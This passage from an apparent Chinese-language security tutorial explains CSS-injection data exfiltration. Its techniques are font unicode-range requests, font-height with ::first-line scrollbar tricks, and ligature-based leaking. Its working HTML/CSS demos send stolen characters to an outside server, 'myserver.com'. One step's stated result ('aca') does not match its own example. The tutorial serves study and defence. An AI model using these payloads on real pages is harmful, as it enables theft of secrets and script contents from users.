class="s2">&#34;f1&#34;</span><span class="o">;</span> </span></span><span class="line"><span class="cl"> <span class="nt">src</span><span class="o">:</span> <span class="nt">url</span><span class="o">(</span><span class="nt">https</span><span class="o">://</span><span class="nt">myserver</span><span class="p">.</span><span class="nc">com</span><span class="o">?</span><span class="nt">q</span><span class="o">=</span><span class="nt">1</span><span class="o">);</span> </span></span><span class="line"><span class="cl"> <span class="nt">unicode-range</span><span class="o">:</span> <span class="nt">U</span><span class="o">+</span><span class="nt">31</span><span class="o">;</span> </span></span><span class="line"><span class="cl"> <span class="p">}</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"> <span class="p">@</span><span class="k">font-face</span> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="nt">font-family</span><span class="o">:</span> <span class="s2">&#34;f2&#34;</span><span class="o">;</span> </span></span><span class="line"><span class="cl"> <span class="nt">src</span><span class="o">:</span> <span class="nt">url</span><span class="o">(</span><span class="nt">https</span><span class="o">://</span><span class="nt">myserver</span><span class="p">.</span><span class="nc">com</span><span class="o">?</span><span class="nt">q</span><span class="o">=</span><span class="nt">2</span><span class="o">);</span> </span></span><span class="line"><span class="cl"> <span class="nt">unicode-range</span><span class="o">:</span> <span class="nt">U</span><span class="o">+</span><span class="nt">32</span><span class="o">;</span> </span></span><span class="line"><span class="cl"> <span class="p">}</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"> <span class="p">@</span><span class="k">font-face</span> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="nt">font-family</span><span class="o">:</span> <span class="s2">&#34;f3&#34;</span><span class="o">;</span> </span></span><span class="line"><span class="cl"> <span class="nt">src</span><span class="o">:</span> <span class="nt">url</span><span class="o">(</span><span class="nt">https</span><span class="o">://</span><span class="nt">myserver</span><span class="p">.</span><span class="nc">com</span><span class="o">?</span><span class="nt">q</span><span class="o">=</span><span class="nt">3</span><span class="o">);</span> </span></span><span class="line"><span class="cl"> <span class="nt">unicode-range</span><span class="o">:</span> <span class="nt">U</span><span class="o">+</span><span class="nt">33</span><span class="o">;</span> </span></span><span class="line"><span class="cl"> <span class="p">}</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"> <span class="p">@</span><span class="k">font-face</span> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="nt">font-family</span><span class="o">:</span> <span class="s2">&#34;fa&#34;</span><span class="o">;</span> </span></span><span class="line"><span class="cl"> <span class="nt">src</span><span class="o">:</span> <span class="nt">url</span><span class="o">(</span><span class="nt">https</span><span class="o">://</span><span class="nt">myserver</span><span class="p">.</span><span class="nc">com</span><span class="o">?</span><span class="nt">q</span><span class="o">=</span><span class="nt">a</span><span class="o">);</span> </span></span><span class="line"><span class="cl"> <span class="nt">unicode-range</span><span class="o">:</span> <span class="nt">U</span><span class="o">+</span><span class="nt">61</span><span class="o">;</span> </span></span><span class="line"><span class="cl"> <span class="p">}</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"> <span class="p">@</span><span class="k">font-face</span> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="nt">font-family</span><span class="o">:</span> <span class="s2">&#34;fb&#34;</span><span class="o">;</span> </span></span><span class="line"><span class="cl"> <span class="nt">src</span><span class="o">:</span> <span class="nt">url</span><span class="o">(</span><span class="nt">https</span><span class="o">://</span><span class="nt">myserver</span><span class="p">.</span><span class="nc">com</span><span class="o">?</span><span class="nt">q</span><span class="o">=</span><span class="nt">b</span><span class="o">);</span> </span></span><span class="line"><span class="cl"> <span class="nt">unicode-range</span><span class="o">:</span> <span class="nt">U</span><span class="o">+</span><span class="nt">62</span><span class="o">;</span> </span></span><span class="line"><span class="cl"> <span class="p">}</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"> <span class="p">@</span><span class="k">font-face</span> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="nt">font-family</span><span class="o">:</span> <span class="s2">&#34;fc&#34;</span><span class="o">;</span> </span></span><span class="line"><span class="cl"> <span class="nt">src</span><span class="o">:</span> <span class="nt">url</span><span class="o">(</span><span class="nt">https</span><span class="o">://</span><span class="nt">myserver</span><span class="p">.</span><span class="nc">com</span><span class="o">?</span><span class="nt">q</span><span class="o">=</span><span class="nt">c</span><span class="o">);</span> </span></span><span class="line"><span class="cl"> <span class="nt">unicode-range</span><span class="o">:</span> <span class="nt">U</span><span class="o">+</span><span class="nt">63</span><span class="o">;</span> </span></span><span class="line"><span class="cl"> <span class="p">}</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"> <span class="nt">div</span> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="k">font-size</span><span class="p">:</span> <span class="mi">4</span><span class="kt">em</span><span class="p">;</span> </span></span><span class="line"><span class="cl"> <span class="k">font-family</span><span class="p">:</span> <span class="n">f1</span><span class="p">,</span> <span class="n">f2</span><span class="p">,</span> <span class="n">f3</span><span class="p">,</span> <span class="n">fa</span><span class="p">,</span> <span class="n">fb</span><span class="p">,</span> <span class="n">fc</span><span class="p">;</span> </span></span><span class="line"><span class="cl"> <span class="p">}</span> </span></span><span class="line"><span class="cl"> <span class="p">&lt;/</span><span class="nt">style</span><span class="p">&gt;</span> </span></span><span class="line"><span class="cl"> Secret: <span class="p">&lt;</span><span class="nt">div</span><span class="p">&gt;</span>ca31a<span class="p">&lt;/</span><span class="nt">div</span><span class="p">&gt;</span> </span></span><span class="line"><span class="cl"> <span class="p">&lt;/</span><span class="nt">body</span><span class="p">&gt;</span> </span></span><span class="line"><span class="cl"><span class="p">&lt;/</span><span class="nt">html</span><span class="p">&gt;</span> </span></span></code></pre></td></tr></table> </div> </div><p>如果你去看 network tab，會看到一共發送了 4 個 request：</p> <p><img src="https://live.staticflickr.com/65535/52400915454_9825bb6fb7_o.png" max-width="100%" max-height="100%" class="gallery-image" loading="lazy" ></p> <p>藉由這招，我們可以得知頁面上有：13ac 這四個字元。</p> <p>而這招的侷限之處也很明顯，就是：</p> <ol> <li>我們不知道字元的順序為何</li> <li>重複的字元也不會知道</li> </ol> <p>但是從「載入字型」的角度下去思考怎麼偷到字元，著實帶給了許多人一個新的思考方式，並發展出各式各樣其他的方法。</p> <hr> <h3 id="字體高度差異--first-line--scrollbar">字體高度差異 + first-line + scrollbar</h3> <p>這招要解決的主要是上一招碰到的問題：「沒辦法知道字元順序」，然後這招結合了很多細節，步驟很多，要仔細聽了。</p> <p>首先，我們其實可以不載入外部字體，用內建的字體就能 leak 出字元。這要怎麼做到呢？我們要先找出兩組內建字體，高度會不同。</p> <p>例如有一個叫做「Comic Sans MS」的字體，高度就比另一個「Courier New」高。</p> <p>舉個例子，假設預設字體的高度是 30px，而 Comic Sans MS 是 45px 好了。那現在我們把文字區塊的高度設成 40px，並且載入字體，像這樣：</p> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt"> 1 </span><span class="lnt"> 2 </span><span class="lnt"> 3 </span><span class="lnt"> 4 </span><span class="lnt"> 5 </span><span class="lnt"> 6 </span><span class="lnt"> 7 </span><span class="lnt"> 8 </span><span class="lnt"> 9 </span><span class="lnt">10 </span><span class="lnt">11 </span><span class="lnt">12 </span><span class="lnt">13 </span><span class="lnt">14 </span><span class="lnt">15 </span><span class="lnt">16 </span><span class="lnt">17 </span><span class="lnt">18 </span><span class="lnt">19 </span><span class="lnt">20 </span><span class="lnt">21 </span><span class="lnt">22 </span><span class="lnt">23 </span><span class="lnt">24 </span><span class="lnt">25 </span><span class="lnt">26 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-html" data-lang="html"><span class="line"><span class="cl"><span class="cp">&lt;!DOCTYPE html&gt;</span> </span></span><span class="line"><span class="cl"><span class="p">&lt;</span><span class="nt">html</span><span class="p">&gt;</span> </span></span><span class="line"><span class="cl"> <span class="p">&lt;</span><span class="nt">body</span><span class="p">&gt;</span> </span></span><span class="line"><span class="cl"> <span class="p">&lt;</span><span class="nt">style</span><span class="p">&gt;</span> </span></span><span class="line"><span class="cl"> <span class="p">@</span><span class="k">font-face</span> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="nt">font-family</span><span class="o">:</span> <span class="s2">&#34;fa&#34;</span><span class="o">;</span> </span></span><span class="line"><span class="cl"> <span class="nt">src</span><span class="p">:</span><span class="nd">local</span><span class="o">(</span><span class="s1">&#39;Comic Sans MS&#39;</span><span class="o">);</span> </span></span><span class="line"><span class="cl"> <span class="nt">font-style</span><span class="p">:</span><span class="nd">monospace</span><span class="o">;</span> </span></span><span class="line"><span class="cl"> <span class="nt">unicode-range</span><span class="o">:</span> <span class="nt">U</span><span class="o">+</span><span class="nt">41</span><span class="o">;</span> </span></span><span class="line"><span class="cl"> <span class="p">}</span> </span></span><span class="line"><span class="cl"> <span class="nt">div</span> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="k">font-size</span><span class="p">:</span> <span class="mi">30</span><span class="kt">px</span><span class="p">;</span> </span></span><span class="line"><span class="cl"> <span class="k">height</span><span class="p">:</span> <span class="mi">40</span><span class="kt">px</span><span class="p">;</span> </span></span><span class="line"><span class="cl"> <span class="k">width</span><span class="p">:</span> <span class="mi">100</span><span class="kt">px</span><span class="p">;</span> </span></span><span class="line"><span class="cl"> <span class="k">font-family</span><span class="p">:</span> <span class="n">fa</span><span class="p">,</span> <span class="s2">&#34;Courier New&#34;</span><span class="p">;</span> </span></span><span class="line"><span class="cl"> <span class="k">letter-spacing</span><span class="p">:</span> <span class="mi">0</span><span class="kt">px</span><span class="p">;</span> </span></span><span class="line"><span class="cl"> <span class="k">word-break</span><span class="p">:</span> <span class="n">break-all</span><span class="p">;</span> </span></span><span class="line"><span class="cl"> <span class="k">overflow-y</span><span class="p">:</span> <span class="kc">auto</span><span class="p">;</span> </span></span><span class="line"><span class="cl"> <span class="k">overflow-x</span><span class="p">:</span> <span class="kc">hidden</span><span class="p">;</span> </span></span><span class="line"><span class="cl"> <span class="p">}</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"> <span class="p">&lt;/</span><span class="nt">style</span><span class="p">&gt;</span> </span></span><span class="line"><span class="cl"> Secret: <span class="p">&lt;</span><span class="nt">div</span><span class="p">&gt;</span>DBC<span class="p">&lt;/</span><span class="nt">div</span><span class="p">&gt;</span> </span></span><span class="line"><span class="cl"> <span class="p">&lt;</span><span class="nt">div</span><span class="p">&gt;</span>ABC<span class="p">&lt;/</span><span class="nt">div</span><span class="p">&gt;</span> </span></span><span class="line"><span class="cl"> <span class="p">&lt;/</span><span class="nt">body</span><span class="p">&gt;</span> </span></span><span class="line"><span class="cl"><span class="p">&lt;/</span><span class="nt">html</span><span class="p">&gt;</span> </span></span></code></pre></td></tr></table> </div> </div><p>就會在畫面上看到差異：</p> <p><img src="https://live.staticflickr.com/65535/52400915439_c47a43dc3c_o.png" max-width="100%" max-height="100%" class="gallery-image" loading="lazy" ></p> <p>很明顯 A 比其他字元的高度都高，而且根據我們的 CSS 設定，如果內容高度超過容器高度，會出現 scrollbar。雖然上面是截圖看不出來，但是下面的 ABC 有出現 scrollbar，而上面的 DBC 沒有。</p> <p>再者，我們其實可以幫 scrollbar 設定一個外部的背景：</p> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span><span class="lnt">2 </span><span class="lnt">3 </span><span class="lnt">4 </span><span class="lnt">5 </span><span class="lnt">6 </span><span class="lnt">7 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-css" data-lang="css"><span class="line"><span class="cl"><span class="nt">div</span><span class="p">::</span><span class="nd">-webkit-scrollbar</span> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="k">background</span><span class="p">:</span> <span class="kc">blue</span><span class="p">;</span> </span></span><span class="line"><span class="cl"><span class="p">}</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="nt">div</span><span class="p">::</span><span class="nd">-webkit-scrollbar</span><span class="p">:</span><span class="nd">vertical</span> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="k">background</span><span class="p">:</span> <span class="nb">url</span><span class="p">(</span><span class="sx">https://myserver.com?q=a</span><span class="p">);</span> </span></span><span class="line"><span class="cl"><span class="p">}</span> </span></span></code></pre></td></tr></table> </div> </div><p>也就是說，如果 scrollbar 有出現，我們的 server 就會收到 request。如果 scrollbar 沒出現，就不會收到 request。</p> <p>更進一步來說，當我把 div 套用 “fa” 字體時，如果畫面上有 A，就會出現 scrollbar，server 就會收到 request。如果畫面上沒有 A，就什麼事情都不會發生。</p> <p>因此，我如果一直重複載入不同字體，那我在 server 就能知道畫面上有什麼字元，這點跟剛剛我們用 <code>unicode-range</code> 能做到的事情是一樣的。</p> <p>那要怎麼解決順序的問題呢？</p> <p>我們可以先把 div 的寬度縮減到只能顯示一個字元，這樣其他字元就會被放到第二行去，再搭配 <a class="link" href="https://developer.mozilla.org/en-US/docs/Web/CSS/::first-line" target="_blank" rel="noopener" >::first-line</a> 這個 selector，就可以特別針對第一行做樣式的調整，像是這樣：</p> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt"> 1 </span><span class="lnt"> 2 </span><span class="lnt"> 3 </span><span class="lnt"> 4 </span><span class="lnt"> 5 </span><span class="lnt"> 6 </span><span class="lnt"> 7 </span><span class="lnt"> 8 </span><span class="lnt"> 9 </span><span class="lnt">10 </span><span class="lnt">11 </span><span class="lnt">12 </span><span class="lnt">13 </span><span class="lnt">14 </span><span class="lnt">15 </span><span class="lnt">16 </span><span class="lnt">17 </span><span class="lnt">18 </span><span class="lnt">19 </span><span class="lnt">20 </span><span class="lnt">21 </span><span class="lnt">22 </span><span class="lnt">23 </span><span class="lnt">24 </span><span class="lnt">25 </span><span class="lnt">26 </span><span class="lnt">27 </span><span class="lnt">28 </span><span class="lnt">29 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-html" data-lang="html"><span class="line"><span class="cl"><span class="cp">&lt;!DOCTYPE html&gt;</span> </span></span><span class="line"><span class="cl"><span class="p">&lt;</span><span class="nt">html</span><span class="p">&gt;</span> </span></span><span class="line"><span class="cl"> <span class="p">&lt;</span><span class="nt">body</span><span class="p">&gt;</span> </span></span><span class="line"><span class="cl"> <span class="p">&lt;</span><span class="nt">style</span><span class="p">&gt;</span> </span></span><span class="line"><span class="cl"> <span class="p">@</span><span class="k">font-face</span> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="nt">font-family</span><span class="o">:</span> <span class="s2">&#34;fa&#34;</span><span class="o">;</span> </span></span><span class="line"><span class="cl"> <span class="nt">src</span><span class="p">:</span><span class="nd">local</span><span class="o">(</span><span class="s1">&#39;Comic Sans MS&#39;</span><span class="o">);</span> </span></span><span class="line"><span class="cl"> <span class="nt">font-style</span><span class="p">:</span><span class="nd">monospace</span><span class="o">;</span> </span></span><span class="line"><span class="cl"> <span class="nt">unicode-range</span><span class="o">:</span> <span class="nt">U</span><span class="o">+</span><span class="nt">41</span><span class="o">;</span> </span></span><span class="line"><span class="cl"> <span class="p">}</span> </span></span><span class="line"><span class="cl"> <span class="nt">div</span> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="k">font-size</span><span class="p">:</span> <span class="mi">0</span><span class="kt">px</span><span class="p">;</span> </span></span><span class="line"><span class="cl"> <span class="k">height</span><span class="p">:</span> <span class="mi">40</span><span class="kt">px</span><span class="p">;</span> </span></span><span class="line"><span class="cl"> <span class="k">width</span><span class="p">:</span> <span class="mi">20</span><span class="kt">px</span><span class="p">;</span> </span></span><span class="line"><span class="cl"> <span class="k">font-family</span><span class="p">:</span> <span class="n">fa</span><span class="p">,</span> <span class="s2">&#34;Courier New&#34;</span><span class="p">;</span> </span></span><span class="line"><span class="cl"> <span class="k">letter-spacing</span><span class="p">:</span> <span class="mi">0</span><span class="kt">px</span><span class="p">;</span> </span></span><span class="line"><span class="cl"> <span class="k">word-break</span><span class="p">:</span> <span class="n">break-all</span><span class="p">;</span> </span></span><span class="line"><span class="cl"> <span class="k">overflow-y</span><span class="p">:</span> <span class="kc">auto</span><span class="p">;</span> </span></span><span class="line"><span class="cl"> <span class="k">overflow-x</span><span class="p">:</span> <span class="kc">hidden</span><span class="p">;</span> </span></span><span class="line"><span class="cl"> <span class="p">}</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"> <span class="nt">div</span><span class="p">::</span><span class="nd">first-line</span><span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="k">font-size</span><span class="p">:</span> <span class="mi">30</span><span class="kt">px</span><span class="p">;</span> </span></span><span class="line"><span class="cl"> <span class="p">}</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"> <span class="p">&lt;/</span><span class="nt">style</span><span class="p">&gt;</span> </span></span><span class="line"><span class="cl"> Secret: <span class="p">&lt;</span><span class="nt">div</span><span class="p">&gt;</span>CBAD<span class="p">&lt;/</span><span class="nt">div</span><span class="p">&gt;</span> </span></span><span class="line"><span class="cl"> <span class="p">&lt;/</span><span class="nt">body</span><span class="p">&gt;</span> </span></span><span class="line"><span class="cl"><span class="p">&lt;/</span><span class="nt">html</span><span class="p">&gt;</span> </span></span></code></pre></td></tr></table> </div> </div><p>畫面上你就只會看到一個「C」的字元，因為我們先用 <code>font-size: 0px</code> 把所有字元的尺寸都設為 0，再用 <code>div::first-line</code> 去做調整，讓第一行的 font-size 變成 30px。換句話說，只有第一行的字元能看到，而現在的 div 寬度只有 20px，所以只會出現第一個字元。</p> <p>接著，我們再運用剛剛學會的那招，去載入看看不同的字體。當我載入 fa 這個字體時，因為畫面上沒有出現 A，所以不會有任何變化。但是當我載入 fc 這個字體時，畫面上有 C，所以就會用 Comic Sans MS 來顯示 C，高度就會變高，scrollbar 就會出現，就可以利用它來發出 request，像這樣：</p> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt"> 1 </span><span class="lnt"> 2 </span><span class="lnt"> 3 </span><span class="lnt"> 4 </span><span class="lnt"> 5 </span><span class="lnt"> 6 </span><span class="lnt"> 7 </span><span class="lnt"> 8 </span><span class="lnt"> 9 </span><span class="lnt">10 </span><span class="lnt">11 </span><span class="lnt">12 </span><span class="lnt">13 </span><span class="lnt">14 </span><span class="lnt">15 </span><span class="lnt">16 </span><span class="lnt">17 </span><span class="lnt">18 </span><span class="lnt">19 </span><span class="lnt">20 </span><span class="lnt">21 </span><span class="lnt">22 </span><span class="lnt">23 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-css" data-lang="css"><span class="line"><span class="cl"><span class="nt">div</span> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="k">font-size</span><span class="p">:</span> <span class="mi">0</span><span class="kt">px</span><span class="p">;</span> </span></span><span class="line"><span class="cl"> <span class="k">height</span><span class="p">:</span> <span class="mi">40</span><span class="kt">px</span><span class="p">;</span> </span></span><span class="line"><span class="cl"> <span class="k">width</span><span class="p">:</span> <span class="mi">20</span><span class="kt">px</span><span class="p">;</span> </span></span><span class="line"><span class="cl"> <span class="k">font-family</span><span class="p">:</span> <span class="n">fc</span><span class="p">,</span> <span class="s2">&#34;Courier New&#34;</span><span class="p">;</span> </span></span><span class="line"><span class="cl"> <span class="k">letter-spacing</span><span class="p">:</span> <span class="mi">0</span><span class="kt">px</span><span class="p">;</span> </span></span><span class="line"><span class="cl"> <span class="k">word-break</span><span class="p">:</span> <span class="n">break-all</span><span class="p">;</span> </span></span><span class="line"><span class="cl"> <span class="k">overflow-y</span><span class="p">:</span> <span class="kc">auto</span><span class="p">;</span> </span></span><span class="line"><span class="cl"> <span class="k">overflow-x</span><span class="p">:</span> <span class="kc">hidden</span><span class="p">;</span> </span></span><span class="line"><span class="cl"> <span class="nv">--leak</span><span class="p">:</span> <span class="nb">url</span><span class="p">(</span><span class="sx">http://myserver.com?C</span><span class="p">);</span> </span></span><span class="line"><span class="cl"><span class="p">}</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="nt">div</span><span class="p">::</span><span class="nd">first-line</span><span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="k">font-size</span><span class="p">:</span> <span class="mi">30</span><span class="kt">px</span><span class="p">;</span> </span></span><span class="line"><span class="cl"><span class="p">}</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="nt">div</span><span class="p">::</span><span class="nd">-webkit-scrollbar</span> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="k">background</span><span class="p">:</span> <span class="kc">blue</span><span class="p">;</span> </span></span><span class="line"><span class="cl"><span class="p">}</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="nt">div</span><span class="p">::</span><span class="nd">-webkit-scrollbar</span><span class="p">:</span><span class="nd">vertical</span> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="k">background</span><span class="p">:</span> <span class="nf">var</span><span class="p">(</span><span class="o">--</span><span class="n">leak</span><span class="p">);</span> </span></span><span class="line"><span class="cl"><span class="p">}</span> </span></span></code></pre></td></tr></table> </div> </div><p>那我們要怎麼樣不斷使用新的 font-family 呢？用 CSS animation 就可以做到，你可以用 CSS animation 不斷載入不同的 font-family 以及指定不同的 –leak 變數。</p> <p>如此一來，我們就能知道畫面上的第一個字元到底是什麼。</p> <p>知道了第一個字元以後，我們把 div 的寬度變長，例如說變成 40px，就能容納兩個字元，因此第一行就會是前兩個字，接著再用一樣的方式載入不同的 font-family，就能 leak 出第二個字元，詳細流程如下：</p> <ol> <li>假設畫面上是 ACB</li> <li>調整寬度為 20px，第一行只出現第一個字元 A</li> <li>載入字體 fa，因此 A 用較高的字體顯示，出現 scrollbar，載入 scrollbar 背景，傳送 request 給 server</li> <li>載入字體 fb，但是 B 沒有出現在畫面上，因此沒有任何變化。</li> <li>載入字體 fc，但是 C 沒有出現在畫面上，因此沒有任何變化。</li> <li>調整寬度為 40px，第一行出現兩個字元 AC</li> <li>載入字體 fa，因此 A 用較高的字體顯示，出現 scrollbar，此時應該是因為這個背景已經載入過，所以不會發送新的 request</li> <li>載入字體 fb，沒出現在畫面上，沒任何變化</li> <li>載入字體 fc，C 用較高的字體顯示，出現 scrollbar 並且載入背景</li> <li>調整寬度為 60px，ACB 三個字元都出現在第一行</li> <li>載入字體 fa，同第七步</li> <li>載入字體 fb，B 用較高的字體顯示，出現 scrollbar 並且載入背景</li> <li>載入字體 fc，C 用較高的字體顯示，但因為已經載入過相同背景，不會發送 request</li> <li>結束</li> </ol> <p>從上面流程中可以看出 server 會依序收到 A, C, B 三個 reqeust，代表了畫面上字元的順序。而不斷改變寬度以及 font-family 都可以用 CSS animation 做到。</p> <p>想要看完整 demo 的可以看這個網頁（出處：<a class="link" href="https://www.reddit.com/r/Slackers/comments/dzrx2s/what_can_we_do_with_single_css_injection/" target="_blank" rel="noopener" >What can we do with single CSS injection?</a>）：<a class="link" href="https://demo.vwzq.net/css2.html" target="_blank" rel="noopener" >https://demo.vwzq.net/css2.html</a></p> <p>這個解法雖然解決了「不知道字元順序」的問題，但依然無法解決重複字元的問題，因為重複的字元不會再發出 request。</p> <hr> <h3 id="大絕招ligature--scrollbar">大絕招：ligature + scrollbar</h3> <p>先講結論，這一招可以解決上面所有問題，達成「知道字元順序，也知道重複字元」的目標，能夠偷到完整的文字。</p> <p>要理解怎麼偷之前，我們要先知道一個專有名詞，叫做連字（ligature），在某些字型當中，會把一些特定的組合 render 成連在一起的樣子，如下圖（來源：<a class="link" href="https://en.wikipedia.org/wiki/Ligature_%28writing%29" target="_blank" rel="noopener" >wikipedia</a>）：</p> <p><img src="https://live.staticflickr.com/65535/52401123263_a741370059_o.png" max-width="100%" max-height="100%" class="gallery-image" loading="lazy" ></p> <p>那這個對我們有什麼幫助呢？</p> <p>我們可以自己製作出一個獨特的字體，把 <code>ab</code> 設定成連字，並且 render 出一個超寬的元素。接著，我們把某個 div 寬度設成固定，然後結合剛剛 scrollbar 那招，也就是：「如果 ab 有出現，就會變很寬，scrollbar 就會出現，就可以載入 request 告訴 server；如果沒出現，那 scrollbar 就不會出現，沒有任何事情發生」。</p> <p>流程是這樣的，假設畫面上有 acc 這三個字：</p> <ol> <li>載入有連字 aa 的字體，沒事發生</li> <li>載入有連字 ab 的字體，沒事發生</li> <li>載入有連字 ac 的字體，成功 render 超寬的畫面，scrollbar 出現，載入 server 圖片</li> <li>server 知道畫面上有 ac</li> <li>載入有連字 aca 的字體，沒事發生</li> <li>載入有連字 acb 的字體，沒事發生</li> <li>載入有連字 acc 的字體，成功 render，scrollbar 出現，傳送結果給 server</li> <li>server 知道畫面上有 aca</li> </ol> <p>透過連字結合 scrollbar，我們可以一個字元一個字元，慢慢 leak 出畫面上所有的字，甚至連 JavaScript 的程式碼都可以！</p> <p>你知道，script 的內容是可以顯示在畫面上的嗎？</p> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span><span class="lnt">2 </span><span class="lnt">3 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-css" data-lang="css"><span class="line"><span class="cl"><span class="nt">head</span><span class="o">,</span> <span class="nt">script</span> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="k">display</span><span class="p">:</span> <span class="kc">block</span><span class="p">;</span> </span></span><span class="line"><span class="cl"><span class="p">}</span> </span></span></code></pre></td></tr></table> </div> </div><p>只要加上這個 CSS，就可以讓 script 內容也顯示在畫面上，因此我們也可以利用同樣的技巧，偷到 script 的內容！</p> <p>在實戰上的話，你可以用 SVG 搭配其他工具，在 server 端迅速產生字體，想要看細節以及相關程式碼的話，可以參考這篇：<a class="link" href="https://research.securitum.com/stealing-data-in-great-style-how-to-use-css-to-attack-web-application/" target="_blank" rel="noopener" >Stealing Data in Great style – How to Use CSS to Attack Web Application.</a></p> <p>而這邊我就簡單做個簡化到不行的 demo，來證明這件事情是可行的。為了簡化，有人做了一個 Safari 版本的 demo，因為 Safari 支援 SVG font，所以不需要再從 server 產生字型，原始文章在這裡：<a class="link" href="https://github.com/masatokinugawa/css-exfiltration-svg-font/" target="_blank" rel="noopener" >Data Exfiltration via CSS + SVG Font - PoC (Safari only)</a></p> <p>簡易版 demo：</p> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt"> 1 </span><span class="lnt"> 2 </span><span class="lnt"> 3 </span><span class="lnt"> 4 </span><span class="lnt"> 5 </span><span class="lnt"> 6 </span><span class="lnt"> 7 </span><span class="lnt"> 8 </span><span class="lnt"> 9 </span><span class="lnt">10 </span><span class="lnt">11 </span><span class="lnt">12 </span><span class="lnt">13 </span><span class="lnt">14 </span><span class="lnt">15 </span><span class="lnt">16 </span><span class="lnt">17 </span><span class="lnt">18 </span><span class="lnt">19 </span><span class="lnt">20 </span><span class="lnt">21 </span><span class="lnt">22 </span><span class="lnt">23 </span><span class="lnt">24 </span><span class="lnt">25 </span><span class="lnt">26 </span><span class="lnt">27 </span><span class="lnt">28 </span><span class="lnt">29 </span><span class="lnt">30 </span><span class="lnt">31 </span><span class="lnt">32 </span><span class="lnt">33 </span><span class="lnt">34 </span><span class="lnt">35 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-html" data-lang="html"><span class="line"><span class="cl"><span class="cp">&lt;!DOCTYPE html&gt;</span> </span></span><span class="line"><span class="cl"><span class="p">&lt;</span><span class="nt">html</span> <span class="na">lang</span><span class="o">=</span><span class="s">&#34;en&#34;</span><span class="p">&gt;</span> </span></span><span class="line"><span class="cl"><span class="p">&lt;</span><span class="nt">body</span><span class="p">&gt;</span> </span></span><span class="line"><span class="cl"> <span class="p">&lt;</span><span class="nt">script</span><span class="p">&gt;</span> </span></span><span class="line"><span class="cl"> <span class="kd">var</span> <span class="nx">secret</span> <span class="o">=</span> <span class="s2">&#34;abc123&#34;</span> </span></span><span class="line"><span class="cl"> <span class="p">&lt;/</span><span class="nt">script</span><span class="p">&gt;</span> </span></span><span class="line"><span class="cl"> <span class="p">&lt;</span><span class="nt">hr</span><span class="p">&gt;</span> </span></span><span class="line"><span class="cl"> <span class="p">&lt;</span><span class="nt">script</span><span class="p">&gt;</span> </span></span><span class="line"><span class="cl"> <span class="kd">var</span> <span class="nx">secret2</span> <span class="o">=</span> <span class="s2">&#34;cba321&#34;</span> </span></span><span class="line"><span class="cl"> <span class="p">&lt;/</span><span class="nt">script</span><span class="p">&gt;</span> </span></span><span class="line"><span class="cl"> <span class="p">&lt;</span><span class="nt">svg</span><span class="p">&gt;</span> </span></span><span class="line"><span class="cl"> <span class="p">&lt;</span><span class="nt">defs</span><span class="p">&gt;</span> </span></span><span class="line"><span class="cl"> <span class="p">&lt;</span><span class="nt">font</span> <span class="na">horiz-adv-x</span><span class="o">=</span><span class="s">&#34;0&#34;</span><span class="p">&gt;</span> </span></span><span class="line"><span class="cl"> <span class="p">&lt;</span><span class="nt">font-face</span> <span class="na">font-family</span><span class="o">=</span><span class="s">&#34;hack&#34;</span> <span class="na">units-per-em</span><span class="o">=</span><span class="s">&#34;1000&#34;</span> <span class="p">/&gt;</span> </span></span><span class="line"><span class="cl"> <span class="p">&lt;</span><span class="nt">glyph</span> <span class="na">unicode</span><span class="o">=</span><span class="s">&#39;&#34;a&#39;</span> <span class="na">horiz-adv-x</span><span class="o">=</span><span class="s">&#34;99999&#34;</span> 